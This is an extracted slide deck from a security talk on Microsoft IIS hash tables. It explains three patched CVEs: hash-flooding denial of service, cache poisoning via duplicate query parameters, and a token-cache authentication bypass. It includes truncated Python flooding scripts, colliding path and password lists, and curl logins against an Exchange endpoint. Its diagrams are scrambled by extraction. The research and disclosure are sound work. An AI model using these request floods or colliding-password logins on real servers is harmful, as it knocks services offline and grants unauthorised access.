Orange Tsai - Lets Dance in The Cache - Destabilizing Hash Table On Microsoft IIS

Download as pdf or txt
Download as pdf or txt
You are on page 1of 111

Let's Dance in the Cache:

Destabilizing Hash Table on Microsoft IIS


Orange Tsai
For a Protected Area

Th1s-1s-@-Sup3r-Str0ng-P@33w0rD!
DI1D8XF4 T9433W0N R04K85R8 OR7SHSQM 4IDF7LAU

T9ILKRJO DIO376UC 29WM5WPU XRXNHYS8 I0XVSRY7

4J4F29DY BA55FF5B VJ5QUDCJ XS9B66QE I1BICTG1

DJH24HH4 OSNADCSM FSNPV263 91T4TLRP 91UKBHBR

2AWCRJ5Z I212PEZ3 XT2A3HD6 MK4CSS3L OT844EAG

92D4O9UT FTM3BRCO FTNJ0N3Q 4KT30N6F 92TWJEJM

OU131W48 KC4U2MRT VL62A63D 93DWE2MQ OUFLIRN9

MLK1OC5L VLKKY1ME 2CONWY0F 03R2ZXJM AND MORE


DI1D8XF4 T9433W0N R04K85R8 OR7SHSQM 4IDF7LAU

T9ILKRJO DIO376UC 29WM5WPU XRXNHYS8 I0XVSRY7

4J4F29DY BA55FF5B VJ5QUDCJ XS9B66QE I1BICTG1

All Passwords are Valid


DJH24HH4 OSNADCSM FSNPV263 91T4TLRP 91UKBHBR

2AWCRJ5Z I212PEZ3 XT2A3HD6 MK4CSS3L OT844EAG

92D4O9UT FTM3BRCO FTNJ0N3Q 4KT30N6F 92TWJEJM

OU131W48 KC4U2MRT VL62A63D 93DWE2MQ OUFLIRN9

MLK1OC5L VLKKY1ME 2CONWY0F 03R2ZXJM AND MORE


Orange Tsai
• Specialize in Web and Application Vulnerability Research
• Principal Security Researcher of DEVCORE
• Speaker at Conferences: Black Hat USA/ASIA, DEFCON, HITB AMS/GSEC, POC,
CODE BLUE, Hack.lu, WooYun and HITCON
• Former Captain of HITCON CTF Team

• Selected Awards and Honors:


• 2017 - 1st place of Top 10 Web Hacking Techniques
• 2018 - 1st place of Top 10 Web Hacking Techniques
• 2019 - Winner of Pwnie Awards "Best Server-Side Bug"
• 2021 - Champion and "Master of Pwn" of Pwn2Own
• 2021 - Winner of Pwnie Awards "Best Server-Side Bug"
Outline
1. Introduction
2. Our Research
3. Vulnerabilities
4. Recommendations
Hash Table
The most underlying Data Structure in Computer Science
Hold Data
# Create a Hash Table
Table = {
"one": "apple",
"two": "banana",
}

Table["three"] = "lemon"
Table["four"] = "orange"

delete Table["two"]
What is Hash-Flooding Attack?
Drop all records into a same bucket
Degenerate the Hash Table to a single Linked-List
Key Set Buckets
00
00
01
banana
QIH5VQ 02
01
03
lemon
7TZUCP
HASH 04
02
05
orange

KJNT08
FUNCTION …
25
26

MN6RJL 13
27
apple
H(KEY) % 32
28
14
29
mango
TJDI4X
30
15
31
Key Set Buckets
00
00
01
banana
QIH5VQ 02
01
03
lemon
7TZUCP 04
02
AAAAAA
orange
05

KJNT08 …
25

26
MN6RJL 13
27
apple
28
14
29
mango
TJDI4X
30
15
31
Key Set Buckets
00
00
01
banana
QIH5VQ 02
01
03
lemon
7TZUCP 04
02
AAAAAA
orange
AA…
05

KJNT08 …
25

26
MN6RJL 13
27
apple
28
14
29
mango
TJDI4X
30
15
31
Key Set Buckets
00
00
01
banana
QIH5VQ 02
01
03
lemon
7TZUCP 04
02
AAAAAA
orange
AA…
05
… AA…
KJNT08 …
25

26
MN6RJL 13
27
apple
28
14
29
mango
TJDI4X
30
15
31
Key Set Buckets
00
00
01
banana
QIH5VQ 02
01
03
lemon
7TZUCP 04
02
AAAAAA
orange
AA…
05
… AA…
KJNT08 …
25

26 AA…
MN6RJL 13
27
apple
28
14
29
mango
TJDI4X
30
15
31
Key Set Buckets
00
00
01
banana
QIH5VQ 02
01
03
lemon
7TZUCP 04
02
AAAAAA
orange
AA…
05
… AA…
KJNT08 …
25

26 AA…
MN6RJL 13
27
apple
28 AA…
14
29
mango
TJDI4X
30
15
31
AA… AA… AA… AA… AA… AA… AA… AA…

AA…
Key Set
AA… AA… AA… AA… AA…
Buckets
AA… AA…

AA… AA… AA… AA… AA… AA… AA… AA…


00
01
AA… A A QIH5VQ
… AA… AA… AA… AA… AA… AA…
02
03
AA… AA… AA… AA… AA… AA… AA… AA…
7TZUCP 04 AAAAAA AA…
05
AA… AA… AA… AA… AA… AA… AA… AA…
… AA…
KJNT08 25
AA… AA… AA… AA… AA… AA… AA… AA…
26 AA…
MN6RJL 27
AA… AA… AA… AA… AA… AA… AA… AA…
28 AA…
29
AA… A A TJDI4X
… AA… AA… AA… AA… AA… AA…
30 AA…
31
AA… AA… AA… AA… AA… AA… AA… AA…
Average Case Worst Case
Insert 𝒪(1) 𝒪(n)
Delete 𝒪(1) 𝒪(n)
Search 𝒪(1) 𝒪(n)
2
𝒪(𝑛 )
Insert n elements
Microsoft IIS Hash Table
Lots of data such as HTTP-Headers, Server-Variables, Caches and
Configurations are stored in Hash Table.
Microsoft's Two Hash Table
• TREE_HASH_TABLE
• LKRHash Table
TREE_HASH_TABLE

• The most standard code you have seen in your textbook


• Use chaining through Linked-List as the collision resolution
• Rehash all records at once when the table is unhealthy
• Combine DJB-Hash with LCGs as its Hash Function
LKRHash Table
• A successor of Linear Hashing, which aims to build a scalable
Hash Table on high-concurrent machines.
• Invented at Microsoft in 1997 (US Patent 6578131)
• Paul Larson - from Microsoft Research
• Murali Krishnan - from IIS Team
• George Reilly - from IIS Team

• Allow applications to customize their table-related functions such as


Key-Extractor, Hash-Calc and Key-Compare operations.
Outline
1. Introduction
2. Our Research
a) Hash Table Implementation
b) Hash Table Usage
c) IIS Cache Mechanism

3. Vulnerabilities
4. Recommendations
Hash Table Implementation
• Memory corruption bugs
• Logic bugs
• E.g. CVE-2006-3017 discovered by Stefan Esser - PHP didn't
distinguish the type of hash-key leads to unset() a wrong element.

• Algorithmic Complexity Attack such as Hash-Flooding Attack


Hash Table Usage
• Since LKRHash is designed to be a customizable implementation that
can be applied to various scenarios, applications have to configure
their own table-related functions during initialization.
• Is the particular function good?
• Is the logic of the Key-Calculation good?
• Is the logic of the record selection good?
• More and more…
IISSvcs (svchost.exe)

World Wild Web


Publishing Service
(W3SVC)

Windows Process
Activation Service
(WAS)

HTTP.SYS
IISSvcs (svchost.exe)

World Wild Web


Publishing Service
(W3SVC)

Windows Process
Activation Service
(WAS)

HTTP.SYS
applicationHost.config

<?xml version="1.0" encoding="UTF-8"?>

IISSvcs (svchost.exe)

World Wild Web


Publishing Service
(W3SVC)

Windows Process
Activation Service
(WAS)

HTTP.SYS
Worker (w3wp.exe)
applicationHost.config

<?xml version="1.0" encoding="UTF-8"?> iiscore.dll


Initializing
IISSvcs (svchost.exe)
iisutil.dll w3tp.dll

World Wild Web w3dt.dll …


Publishing Service
(W3SVC)

Windows Process
Activation Service
(WAS)

HTTP.SYS
Worker (w3wp.exe)
applicationHost.config

<?xml version="1.0" encoding="UTF-8"?> iiscore.dll


Initializing
IISSvcs (svchost.exe)
iisutil.dll w3tp.dll

World Wild Web w3dt.dll …


Publishing Service
(W3SVC) iislog.dll cachuri

IIS Modules
Windows Process
static.dll filter.dll
Activation Service
isapi.dll …
(WAS)

HTTP.SYS
Native IIS Modules
FileCacheModule HttpRedirection StaticFileModule

StaticCompression CustomErrorModule BasicAuthModule

RequestFiltering TokenCacheModule HttpLoggingModule

WindowsAuthModule CgiModule AnonymousAuthModule

UriCacheModule ProtocolSupport HTTPCacheModule

DynamicCompression DefaultDocument IsapiModule

DirectoryListing CustomLogging …
Global Cache Provider/Handler
FileCacheModule HttpRedirection StaticFileModule

StaticCompression CustomErrorModule BasicAuthModule

RequestFiltering TokenCacheModule HttpLoggingModule

WindowsAuthModule CgiModule AnonymousAuthModule

UriCacheModule ProtocolSupport HTTPCacheModule

DynamicCompression DefaultDocument IsapiModule

DirectoryListing CustomLogging …
Worker (w3wp.exe)
applicationHost.config

<?xml version="1.0" encoding="UTF-8"?> iiscore.dll


Initializing
IISSvcs (svchost.exe)
iisutil.dll w3tp.dll

World Wild Web


Publishing Service
w3dt.dll …
Request-
(W3SVC) iislog.dll cachuri Notify Events-
IIS Modules
Windows Process
static.dll filter.dll
Activation Service
isapi.dll …
(WAS)

HTTP.SYS
Request-Level Notify Events
BeginRequest PreExecuteRequestHandler

AuthenticateRequest ExecuteRequestHandler

AuthorizeRequest ReleaseRequestState

ResolveRequestCache UpdateRequestCache

MapRequestHandler LogRequest

AcquireRequestState EndRequest
Global-Level Notify Events
StopListening TraceEvent

ApplicationStart ThreadCleanup

ApplicationStop CacheCleanup

HealthCheck CacheOperation

ConfigurationChange CustomNotification

FileChange …
Request-Level Cache
BeginRequest

AuthenticateRequest
FileCacheModule
AuthorizeRequest
cachFile.dll
ResolveRequestCache TokenCacheModule
MapRequest cachTokn.dll
ExecuteRequest UriCacheModule

… cachUri.dll
HTTPCacheModule
UpdateRequestCache
cachHttp.dll
LogRequest

EndRequest
Global-Level Cache
Raise Global Notification
BeginRequest GL_CACHE_OPERATION

AuthenticateRequest
FileCacheModule
AuthorizeRequest cachFile.dll
ResolveRequestCache TokenCacheModule

MapRequest cachTokn.dll
UriCacheModule
ExecuteRequest
cachUri.dll

HTTPCacheModule
UpdateRequestCache
cachHttp.dll
LogRequest

EndRequest
Outline
1. Introduction
2. Our Research
3. Vulnerabilities
by-default large-bounty demo
a) CVE-2022-22025 - IIS Hash Flooding Attack
b) CVE-2022-22040 - IIS Cache Poisoning Attack
by-default demo
c) CVE-2022-30209 - IIS Authentication Bypass

4. Recommendations
IIS Hash Flooding Attack
CVE-2022-22025
Hash Flooding Attack on IIS

• The Spoiler:
• TREE_HASH_TABLE: Vulnerable to Hash Flooding DoS by default.
• LKRHash: Vulnerable only If a poor Hash Function is configured.
UriCacheModule

• Cache URI information and configuration


• Accessible by default
• Every URL access triggers a Hash Table Lookup / Insert / Delete
• Use TREE_HASH_TABLE
Time of Every 1000 New Records
250 s

200 s

150 s

100 s

50 s

0s
5k 10k 15k 20k 25k 30k 35k 40k 45k 50k 55k 60k 65k 70k 75k 80k 85k 90k 95k 100k
Random Collision
What is this Jitter?
250 s

200

150

100

50

0
5k 10k 15k 20k 25k 30k 35k 40k 45k 50k 55k 60k 65k 70k 75k 80k 85k 90k 95k 100k
Random Collision
1 bool TREE_HASH_TABLE::InsertRecord(TREE_HASH_TABLE *this, void *record) {
2 /* omitting */
3 hashKey = this->vt->GetHashKey(this, record);
4 sig = TREE_HASH_TABLE::CalcHash(this, hashKey);
5 bucket = this->_ppBuckets[sig % this->_nBuckets];
6
7 /* check for duplicates */
8 while ( !bucket->_pNext ) {
9 /* traverse the linked-list */
10 }
11
12 /* add to the table */
13 ret = TREE_HASH_TABLE::AddNodeInternal(this, key, sig, keylen, bucket, &bucket);
14 if ( ret >= 0 ) {
15 TREE_HASH_TABLE::RehashTableIfNeeded(this);
16 }
17 }
1 bool TREE_HASH_TABLE::InsertRecord(TREE_HASH_TABLE *this, void *record) {
2 /* omitting */
3 hashKey = this->vt->GetHashKey(this, record);
4 sig = TREE_HASH_TABLE::CalcHash(this, hashKey);
5 bucket = this->_ppBuckets[sig % this->_nBuckets];
6
7 /* check for duplicates */
8 while ( !bucket->_pNext ) {
9 /* traverse the linked-list */
10 }
11
12 /* add to the table */
13 ret = TREE_HASH_TABLE::AddNodeInternal(this, key, sig, keylen, bucket, &bucket);
14 if ( ret >= 0 ) {
15 TREE_HASH_TABLE::RehashTableIfNeeded(this);
16 }
17 }
1 void TREE_HASH_TABLE::RehashTableIfNeeded(TREE_HASH_TABLE *this) {
2
3 if ( this->_nItems > TREE_HASH_TABLE::GetPrime(2 * this->_nBuckets) ) {
4 CReaderWriterLock3::WriteLock(&this->locker);
5 Prime = TREE_HASH_TABLE::GetPrime(2 * this->_nBuckets);
6
7 if ( this->_nItems > Prime && Prime < 0x1FFFFFFF ) {
8 ProcessHeap = GetProcessHeap();
9 newBuckets = HeapAlloc(ProcessHeap, HEAP_ZERO_MEMORY, 8 * Prime);
10
11 for ( i = 0 ; i < this->_nBuckets; i++ ) {
12 /* move all records to new table*/
13 }
14
15 this->_ppBuckets = newBuckets;
16 this->_nBuckets = Prime;
17 }
18 /* omitting */
19 }
20 }
Questions to be solved…

1. How much of the Hash-Key we can control?


2. How easy the Hash Function is collide-able?
Cache-Key Calculation
• For the given URL: http://server/foobar

Site Name

MACHINE/WEBROOT/APPHOST/DEFAULT WEB SITE/FOOBAR

Config Path Absolute Path


Hash Function
1 DWORD TREE_HASH_TABLE::CalcHash(wchar_t *pwsz) {
2 DWORD dwHash = 0;
3
4 for ( ; *pwsz; ++pwsz)
5 dwHash = dwHash * 101 + *pwsz;
6
7 return ((dwHash * 1103515245 + 12345) >> 16)
8 | ((dwHash * 69069 + 1) & 0xffff0000);
9 }
“No.”
by Alech & Zeri from their awesome talk at 28c3
Variant of DJBX33A

1 DWORD TREE_HASH_TABLE::CalcHash(wchar_t *pwsz) {


2 DWORD dwHash = 0;
3
4 for ( ; *pwsz; ++pwsz)
5 dwHash = dwHash * 101 + *pwsz;
6
7 return ((dwHash * 1103515245 + 12345) >> 16)
8 | ((dwHash * 69069 + 1) & 0xffff0000);
9 }
Equivalent Substrings
ℎ33 "PS" = 331 × asc("P") + 330 × asc("S") = 2723
ℎ33 "Q2" = 331 × asc("Q") + 330 × asc("2") = 2723

ℎ33 "PSA" = 331 × ℎ33 "PS" + 330 × asc("A")


= 331 × ℎ33 "Q2" + 330 × asc("A")
= ℎ33 "Q2A"

ℎ33 "PSPS" = ℎ33 "PSQ2" = ℎ33 "Q2PS" = ℎ33 "Q2Q2"


ℎ101 "XR39M083" = ℎ101 "B94OS5T0" = ℎ101 "R04I46KN" = ℎ101 "..."

1 import requests
2 from itertools import product
3
4 MAGIC_TABLE = [
5 "XR39M083", "B94OS5T0", "R04I46KN", "DIO137NY", # ...
6 ]
7
8 for i in product(MAGIC_TABLE, repeat=8):
9 request.get( "http://iis/" + "".join(i) )
1 import requests
2 from itertools import product
3
4 MAGIC_TABLE = [
5 "XR39M083", "B94OS5T0", "R04I46KN", "DIO137NY", # ...
6 ]
7
8 for i in product(MAGIC_TABLE, repeat=8):
9 request.get( "http://iis/" + "".join(i) )
Obstacles to make this not-
so-practical…
1. The increment is too slow
2. The Cache Scavenger
• A thread used to delete unused records every 30 seconds
Bad implementation for a rescue!
1 bool TREE_HASH_TABLE::InsertRecord(TREE_HASH_TABLE *this, void *record) {
2
3 /* omitting */
4
5 while ( i <= KeyLength ) {
6 if ( !SubKey[i] ) {
7 SubKeySig = TREE_HASH_TABLE::CalcHash(this, SubKey);
8 record = 0;
9 if ( i == KeyLength )
10 record = OrigRecord;
11
12 ret = TREE_HASH_TABLE::AddNodeInternal(this, SubKey, SubKeySig, record, ...);
13 if ( ret != 0x800700B7 )
14 break;
15 SubKey[i] = Key[i]; // Substitute the NUL-byte to slash
16 }
17 i = i + 1;
18 }
19 /* omitting */
20 }
http://server/AAAA/BBBB/CCCC/DDDD/EEEE/FFFF/GGGG/HHHH/…

▶ SEARCH
SEARCH
1. FindRecord(key="<MACHINE-PREFIX>/AAAA/BBBB/CCCC/DDDD/EEEE/FFFF/GGGG/HHHH/...")

xx
▶ INSERT
1. InsertRecord(key="<MACHINE-PREFIX>/AAAA/BBBB/CCCC/DDDD/EEEE/FFFF/GGGG/HHHH/...")
http://server/AAAA/BBBB/CCCC/DDDD/EEEE/FFFF/GGGG/HHHH/…

▶ SEARCH
SEARCH
1. FindRecord(key="<MACHINE-PREFIX>/AAAA/BBBB/CCCC/DDDD/EEEE/FFFF/GGGG/HHHH/...")

xx
▶ INSERT
1. InsertRecord(key="<MACHINE-PREFIX>/AAAA/BBBB/CCCC/DDDD/EEEE/FFFF/GGGG/HHHH/...")
2. AddNodeInternal(key="<MACHINE-PREFIX>/AAAA/BBBB/CCCC/DDDD/EEEE/FFFF/GGGG/HHHH")
3. AddNodeInternal(key="<MACHINE-PREFIX>/AAAA/BBBB/CCCC/DDDD/EEEE/FFFF/GGGG/")
4. AddNodeInternal(key="<MACHINE-PREFIX>/AAAA/BBBB/CCCC/DDDD/EEEE/FFFF")
5. AddNodeInternal(key="<MACHINE-PREFIX>/AAAA/BBBB/CCCC/DDDD/EEEE")
6. AddNodeInternal(key="<MACHINE-PREFIX>/AAAA/BBBB/CCCC/DDDD")
7. AddNodeInternal(key="<MACHINE-PREFIX>/AAAA/BBBB/CCCC")
8. AddNodeInternal(key="<MACHINE-PREFIX>/AAAA/BBBB")
9. AddNodeInternal(key="<MACHINE-PREFIX>/AAAA")
1 bool TREE_HASH_TABLE::InsertRecord(TREE_HASH_TABLE *this, void *record) {
2
3 /* omitting */
4
5 while ( i <= KeyLength ) {
6 if ( !SubKey[i] ) {
7 SubKeySig = TREE_HASH_TABLE::CalcHash(this, SubKey);
8 record = 0;
9 if ( i == KeyLength )
10 record = OrigRecord;
11
12 ret = TREE_HASH_TABLE::AddNodeInternal(this, SubKey, SubKeySig, record, ...);
13 if ( ret != 0x800700B7 )
14 break;
15 SubKey[i] = Key[i]; // Substitute the NUL-byte to slash
16 }
17 i = i + 1;
18 }
19 /* omitting */
20 }
http://server /Path /Path /Path /Path /Path /Path /Path?

ℎ101 𝑃𝑎𝑡ℎ1
= ℎ101 𝑃𝑎𝑡ℎ1 + 𝑃𝑎𝑡ℎ2
= ℎ101 𝑃𝑎𝑡ℎ1 + 𝑃𝑎𝑡ℎ2 + 𝑃𝑎𝑡ℎ3
= ℎ101 𝑃𝑎𝑡ℎ1 + 𝑃𝑎𝑡ℎ2 + 𝑃𝑎𝑡ℎ3 + 𝑃𝑎𝑡ℎ4
= ℎ101 𝑃𝑎𝑡ℎ1 + 𝑃𝑎𝑡ℎ2 + 𝑃𝑎𝑡ℎ3 + 𝑃𝑎𝑡ℎ4 + 𝑃𝑎𝑡ℎ5
= ℎ101 𝑃𝑎𝑡ℎ1 + 𝑃𝑎𝑡ℎ2 + 𝑃𝑎𝑡ℎ3 + 𝑃𝑎𝑡ℎ4 + 𝑃𝑎𝑡ℎ5 + 𝑃𝑎𝑡ℎ6
= ℎ101 𝑃𝑎𝑡ℎ1 + 𝑃𝑎𝑡ℎ2 + 𝑃𝑎𝑡ℎ3 + 𝑃𝑎𝑡ℎ4 + 𝑃𝑎𝑡ℎ5 + 𝑃𝑎𝑡ℎ6 + 𝑃𝑎𝑡ℎ7
http://server /Path /Path /Path /Path /Path /Path /Path?

ℎ101 𝑃𝑎𝑡ℎ1 = 0
= ℎ101 𝑃𝑎𝑡ℎ1 + 𝑃𝑎𝑡ℎ2 = 0
= ℎ101 𝑃𝑎𝑡ℎ1 + 𝑃𝑎𝑡ℎ2 + 𝑃𝑎𝑡ℎ3 = 0
= ℎ101 𝑃𝑎𝑡ℎ1 + 𝑃𝑎𝑡ℎ2 + 𝑃𝑎𝑡ℎ3 + 𝑃𝑎𝑡ℎ4 = 0
= ℎ101 𝑃𝑎𝑡ℎ1 + 𝑃𝑎𝑡ℎ2 + 𝑃𝑎𝑡ℎ3 + 𝑃𝑎𝑡ℎ4 + 𝑃𝑎𝑡ℎ5 = 0
= ℎ101 𝑃𝑎𝑡ℎ1 + 𝑃𝑎𝑡ℎ2 + 𝑃𝑎𝑡ℎ3 + 𝑃𝑎𝑡ℎ4 + 𝑃𝑎𝑡ℎ5 + 𝑃𝑎𝑡ℎ6 = 0
= ℎ101 𝑃𝑎𝑡ℎ1 + 𝑃𝑎𝑡ℎ2 + 𝑃𝑎𝑡ℎ3 + 𝑃𝑎𝑡ℎ4 + 𝑃𝑎𝑡ℎ5 + 𝑃𝑎𝑡ℎ6 + 𝑃𝑎𝑡ℎ7 = 0
Amplify the attack 10-times at least
by a slight modification
1 import requests
2 from itertools import product
3
4 ZERO_HASH_TABLE = [
5 "/HYBCPQOG", "/XOCZE29I", "/HWYDXRYR", "/289MICAP", # ...
6 ]
7
8 for i in ZERO_HASH_TABLE:
9 request.get( "http://iis/" + "2BDCKV6" + i*12 )
The Result

• Denial-of-Service on default installed Microsoft IIS


• About 30 requests per-second can make a 8-core and 32GB-ram server
unresponsive

• Awarded $30,000 by Windows Insider Preview Bounty Program


Demo
https://youtu.be/VtnDkzYPNCk
IIS Cache Poisoning Attack
CVE-2022-22040
Cache Poisoning Attack on IIS

• IIS-Level Caching for:


• Static Response - Cached by Kernel (http.sys)
• Dynamic Response - Cached by HTTPCacheModule

• HTTPCacheModule
• Use LKRHash
HTTP Cache Module
*.aspx

id
Cache Poisoning While…

• Configure the cache based on the Query String:


• IIS caches responses by the specified Query-String
• Inconsistency between the module's Query-String parser and the
backend (mostly ASP.NET) may cache wrong results.
A Case of Inconsistency

• A simple HTTP Parameter Pollution can rule them all


• Output Caching: Use the first occurrence for the Cache-Key
• ASP.NET: Concatenate all together!

key=val1&key=val2
Output Caching key=val1
ASP.NET key=val1,val2
The hacker poisoned…
http://orange.local/hello.aspx?id=Orange
&id=+and+You+Got+Poisoned

hello.aspx

<%=String.Format("Hello {0}", Request("id"))%>


The user saw…
http://orange.local/hello.aspx?id=Orange
IIS Authentication Bypass
CVE-2022-30209
For a Protected Area

Th1s-1s-@-Sup3r-Str0ng-P@33w0rD!
DI1D8XF4 T9433W0N R04K85R8 OR7SHSQM 4IDF7LAU

T9ILKRJO DIO376UC 29WM5WPU XRXNHYS8 I0XVSRY7

4J4F29DY BA55FF5B VJ5QUDCJ XS9B66QE I1BICTG1

All Passwords are Valid


DJH24HH4 OSNADCSM FSNPV263 91T4TLRP 91UKBHBR

2AWCRJ5Z I212PEZ3 XT2A3HD6 MK4CSS3L OT844EAG

92D4O9UT FTM3BRCO FTNJ0N3Q 4KT30N6F 92TWJEJM

OU131W48 KC4U2MRT VL62A63D 93DWE2MQ OUFLIRN9

MLK1OC5L VLKKY1ME 2CONWY0F 03R2ZXJM AND MORE


You might be thinking…

• What's the root cause?


• How do I get those passwords?
• What kind of scenarios are vulnerable?
The login result cache…?

• Logon is an expensive operation so… Let's cache it!


• IIS by default cache windows security tokens for password-based
authentications such as Basic Auth or Client-Certificate Auth…
• A scavenger deletes unused records every 15 minutes :(
• Use LKRHash Table
Initializing a LKRHash Table
CLKRHashTable::CLKRHashTable(
this,
"TOKEN_CACHE", // An identifier for debugging
pfnExtractKey, // Extract key from record
pfnCalcKeyHash, // Calculate hash signature of key
pfnEqualKeys, // Compare two keys
pfnAddRefRecord, // AddRef in FindKey, etc
4.0, // Bound on the average chain length.
1, // Initial size of hash table.
0, // Number of subordinate hash tables.
0 // Allow multiple identical keys?
);
fnCalcKeyHash for Token Cache
1 DWORD pfnCalcKeyHash(wchar_t *Username, wchar_t *Password) {
2 DWORD i = 0, j = 0;
3
4 for ( ; *Username; ++Username)
5 i = i * 101 + *Username;
6
7 for ( ; *Password; ++Password)
8 j = j * 101 + *Password;
9
10 return i ^ j;
11 }
fnEqualKeys for Token Cache
1 DWORD pfnEqualKeys(TokenKey *this, TokenKey *that) {
2
3 if ( this->LoginMethod != that->GetLogonMethod() ||
4 !strcmp(this->Username, that->GetUserNameW()) ||
5 !strcmp(this->Username, that->GetUserNameW()) ) {
6 return KEY_MISMATCH;
7 }
8
9 return KEY_MATCH;
10 }
Why did it compare the username twice?
1 DWORD pfnEqualKeys(TokenKey *this, TokenKey *that) {
2
3 if ( this->LoginMethod != that->GetLogonMethod() ||
4 !strcmp(this->Username, that->GetUserNameW()) ||
5 !strcmp(this->Username, that->GetUserNameW()) ) {
6 return KEY_MISMATCH;
7 }
8
9 return KEY_MATCH;
10 }
Would you like to guess why it compares twice?
1 DWORD pfnEqualKeys(TokenKey *this, TokenKey *that) {
2
3 if ( this->LoginMethod != that->GetLogonMethod() ||
4 !strcmp(this->Username, that->GetUserNameW()) ||
5 !strcmp(this->Username, that->GetUserNameW()) ) {
6 return KEY_MISMATCH;
7 }
8
9 return KEY_MATCH;
10 }
pfnCalcKeyHash vs. pfnEqualKeys
Username and Password are involved Only Username is involved…
You can reuse another logged-in
token with random passwords
1. Every password has the success rate of 1 Τ2 32
2. Unlimited attempts during the 15-minutes time window.
Winning the Lottery

1. Increase the odds of the collision!


2. Exploit without user interaction - Regain the initiative!
3. Defeat the 15-minutes time window!
1. Increase the Probability
• 4.2 billions hashes under the key space of a 32-Bit Integer
• LKRHash Table uses LCGs to scramble the result
• The LCG is not one-to-one mapping under the key space of a 32-bit integer

DWORD CLKRHashTable::_CalcKeyHash(IHttpCacheKey *key) {


DWORD dwHash = this->pfnCalcKeyHash(key)
return ((dwHash * 1103515245 + 12345) >> 16)
| ((dwHash * 69069 + 1) & 0xffff0000);
}
13% of Success Rate
13% of Key Space
by pre-computing the password
2. Regain the Initiative
• The "Connect As" feature is commonly used in Virtual Hosting
or Web Hosting
IIS auto-logon the user you specify
while spawning a new process
Experiment Run!

• Windows Server is able to handle about 1,800 logins per-second


• Running for all day - (1800 × 86400) ÷ (232 × (1 − 0.13)) = 4.2%
The odds are already higher than an SSR
(Superior Super Rare) in Gacha Games…
Experiment Run!

• Windows Server is able to handle about 1,800 logins per-second


• Running for all day - (1800 × 86400) ÷ (232 × (1 − 0.13)) = 4.2%
• Running for 5 days - (1800 × 86400 × 5) ÷ (232 × (1 − 0.13)) = 20.8%
• Running for 12 days - (1800 × 86400 × 10) ÷ (232 × (1 − 0.13)) = 49.9%
• Running for 24 days - (1800 × 86400 × 24) ÷ (232 × (1 − 0.13)) = 100%
3. Defeat the Time Window!

• In sophisticated modern applications, it's common to see:


1. background daemons that check the system health
2. background cron-jobs that poke internal APIs periodically
3. Defeat the Time Window!

• The token will be cached in the memory forever if:


1. The operations attach a credential
2. The time gap between each access is less than 15 minutes
Microsoft Exchange Server
Microsoft Exchange Server

• Active Monitoring Service:


• An enabled-by-default service to check the health of all services
• Check Outlook Web Access and ActiveSync with a credential
every 10 minutes!
$ curl "https://ex01/Microsoft-Server-ActiveSync/" \
-u "[email protected]:000000"
HTTP/2 401

$ curl "https://ex01/Microsoft-Server-ActiveSync/" \
-u "[email protected]:PASSWD"
HTTP/2 401

$ curl "https://ex01/Microsoft-Server-ActiveSync/" \
-u "[email protected]:KVBVDE"
HTTP/2 505
✔️
KVBVDE
Outline
1. Introduction
2. Our Research
3. Vulnerabilities
4. Recommendations
Recommendation

• About the Hash Table design


• Use PRFs such as SipHash/HighwayHash

• About the Cache Design


• The inconsistency is the king.

• Learn from history


• ❌ Limit the input size
• ❌ A secret to randomize the Hash Function
Future Works

• Locate the correct bucket index by Timeless Timing Attack?


• A more efficient Hash-Flooding way on CachUriModule?
• Cache Poisoning on Static Files (Kernel-Mode)?
Thanks!
orange_8361
[email protected]

https://blog.orange.tw

You might also like